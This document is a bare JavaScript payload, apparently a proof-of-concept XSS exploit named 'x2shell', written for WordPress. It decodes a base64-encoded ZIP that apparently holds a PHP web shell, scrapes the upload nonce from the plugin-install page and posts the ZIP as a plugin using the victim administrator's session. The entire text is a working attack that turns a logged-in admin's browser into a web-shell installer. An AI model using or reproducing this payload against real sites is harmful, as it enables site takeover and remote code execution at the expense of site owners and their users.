(async () => {
try {
const bin = atob(«UEsDBBQAAAAIAC+MB10bpl4Z/QEAAHIDAAAeAAAAeDJzaGVsbC1wb2MtNzg4NzM3L3gyc2hlbGwucGhwbVJhT9swEP2eX3GgCDtVW6CgtmrWwcT4urGVoUnbFBn30lhLbMt2NNDgv++ctGVDk/LBvvfu3bvnvLmwlU2OB4MEBnBTtxul4YNocAFfJ6sK6xpuPl7BbD6fnc0i5T166ZQNymiirFZbEr+6ux5NTibT0fR8ejbPwDpjSqBPGi3RhnFsvkPnu8bT8Um8v2tDZdwC7C89Fooqx0mFYo2OsyujA+owun205CXgQzi2tVA6B1kJ5zEs21CO5izLE1UCP1CeajwtPl9/+nK9uv3GZLNmP7IMfkMVgi0cemu0x0KaNfLJyXmWAz6okMNzkhIXlvC6OU9S0wYCGMuT0jgUsgIunBOPnPm4doEPKNmQWeF9qFxLR//oAzZ02EHGomYZCA9pqclOAtAZLlstY4qkoXzwPKLRLeUVlG4xGuuphMBySTZ2WlEDIK3I2mVX490GY2AweXt0yobAXAwmsqKA8nF90zqJPK26KdvNfKCtmmKDoZB94D4ycrCyNh77c/TxDFh7/MfNdlN4eoIXh7sgdibNfeGDcIGTziXROqd03s4nuJtdo9C8c/yfQV2S+60FtfVvECUj1mkOCXnRVY2t4zsffteHPbKX3un0xL88RUayD4ySUXrDIy2DoyOga8N5X8366kE0F43BPaX4Mwb1nKCsDLzuv+jHLbo/6Q9QSwECFAMUAAAACAAvjAddG6ZeGf0BAAByAwAAHgAAAAAAAAAAAAAAgAEAAAAAeDJzaGVsbC1wb2MtNzg4NzM3L3gyc2hlbGwucGhwUEsFBgAAAAABAAEATAAAADkCAAAAAA==»);
const bytes = new Uint8Array(bin.length);
for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
const blob = new Blob([bytes], {type: 'application/zip'});
const res = await fetch('/wp-admin/plugin-install.php?tab=upload');
const html = await res.text();
const m = html.match(/name="_wpnonce" value="([^"]+)"/);
if (!m) throw new Error('no-upload-nonce');
const fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('pluginzip', blob, "x2shell-poc-788737.zip");
const up = await fetch('/wp-admin/update.php?action=upload-plugin', {method: 'POST', body: fd, credentials: 'include'});
window.__x2shellUpload = 'status:' + up.status;
} catch (e) {
window.__x2shellUpload = 'err:' + e.message;
}
})();